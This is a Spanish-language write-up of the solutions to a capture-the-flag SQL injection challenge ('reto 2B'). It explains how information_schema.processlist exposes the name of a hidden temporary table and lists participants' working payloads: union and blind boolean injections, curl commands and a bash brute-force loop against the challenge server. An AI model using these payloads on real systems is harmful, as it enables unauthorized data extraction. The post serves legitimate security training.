Soluciones para reto 2B de Inyección SQL

Despues de haber publicado las soluciones para el reto 2A de la serie de retos de Inyección SQL, lo mas logico era seguir con 2B, considerando que ‘B’ es una variación mas dificil de ‘A’. El reto 2B es uno de mis favoritos por su simplicidad pero a la vez lo confuso que fue para muchos participantes.
Explicación
IMPORTANTE: Si aún no has intentado el reto, lo puedes encontrar aquí en caso de que lo quieres intentar antes de ver la respuesta.
Este reto es similar al 2A en cuanto a que puedes hacer login como guest y crear el cookie user_id que es el campo vulnerable a inyección SQL. Inicialmente no se utilizó filtrado alguno ya que la meta es conseguir el nombre de las tablas/columnas. Lo interesante de este reto es que utiliza una tabla temporal para almacenar las credenciales y únicamente existe la tabla durante la ejecución del PHP. Las tablas temporales no aparecen en el information_schema.tables/columns, así que es un buen reto el encontrar su nombre.
La solución esperada es que utilicen information_schema.proccesslist que esta disponible desde MySQL 5.1. Inyectar union select info from information_schema.processlist regresaría el query completo que se esta utilizando. Este método puede resultar extremadamente útil para evadir WAF/IDS.
Ejemplo
-1 union select info from information_schema.processlist
SELECT websec_rocks_temp_username, websec_rocks_temp_user_priv FROM websec_rocks_temp_uzuAr1Os WHERE websec_rocks_temp_user_id = -1 union select info from information_schema.processlist
Modificaciones al reto
Después de recibir las soluciones de w00d y Miroslav decidí realizar unos cambios al reto para que se resuelva como se intencionó. W00d usó PROCEDURE ANALYSE(), así que decidí bloquear la palabra ‘PROCEDURE’, el método para evadir este filtro esta documentado en el SQL Injection KB; W00d envió la nueva solución como se esperaba. Miroslav encontró el nnombre de la columna haciendo un ataque de diccionario utilizando el archivo txt/common-columns.txt file de sqlmap. La segunda modificación fue cambiar el nombre para que no pudiera resolverse de esta manera.
Soluciones
NULL Life CTF TEAM:
user_id= 3 union select 1,2,concat_ws(0x3a,command,time,state,info),4 from information_schema.processlist limit 1– -
Raz0r:
user_id=-1+union+select+1,2,INFO,4+FROM+information_schema.PROCESSLIST+LIMIT+1–+-
user_id=0+and+IF(ORD(MID(temp_password,0,1))+BETWEEN+0+AND+255,1,(select+1+union+select+2))–+-
w00d:
curl -i http://50.57.51.240/challenges/2B/challenge.php –cookie “user_id=0 limit 3,1 PROCEDURE ANALYSE()”
curl -i http://50.57.51.240/challenges/2B/challenge.php –cookie “user_id=-1 union select group_concat(info),2 from information_schema.processlist”
Miroslav Stampar:
1 OR LENGTH()>0 LIMIT 0,1
user_id=0 AND ORD(MID(temp_password,17,1))>1 LIMIT 0,1
g4mm4:
user_id=-1 union select info,‘padding’ from information_schema.processlist#
Dominus:
user_id=0+and+1=0+union+select+1,unhex(hex(concat_ws(0x3a,info,state)))+from information_schema.processlist limit 0,1
user_id=0 and websec_rocks_temp_password like ‘a%’
mortis:
Usó processlist
user_id=0 and websec_rocks_temp_password like ‘%’
Karion:
Usó processlist
for i in {4,5,6,7} ; do for j in {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} ; do curl http://50.57.51.240/challenges/2B/challenge.php -b “user_id=-9 or websec_rocks_temp_password LIKE 0x454c5f4d55595f56455247${i}${j}25” 2>&1 | grep ADMIN ; echo $i$j ;done; done
BlackFan:
user_id=-1 union select info,2 from information_schema.processlist limit 1;
user_id=0 and (@:=websec_rocks_temp_password) union select @,1;
gijs:
user_id=5 UNION select 1,(select info from information_schema.processlist LIMIT 1)
Mismo script utilizado para resolver el reto 2A.
MisterJyu:
Usó processlist
if(mid(binary(websec_rocks_temp_password),1,1)=‘a’,0,1)
Envió un script en python
Nurfed:
user_id=-1 union select 1,info from information_schema.PROCESSLIST limit 0,1#
user_id=0 and LENGTH(websec_rocks_temp_password)=16#
user_id=0 and websec_rocks_temp_password like 0x25656c5f6d75795f76657267756974617325#
La lista completa de los ganadores del reto se encuentra aquí.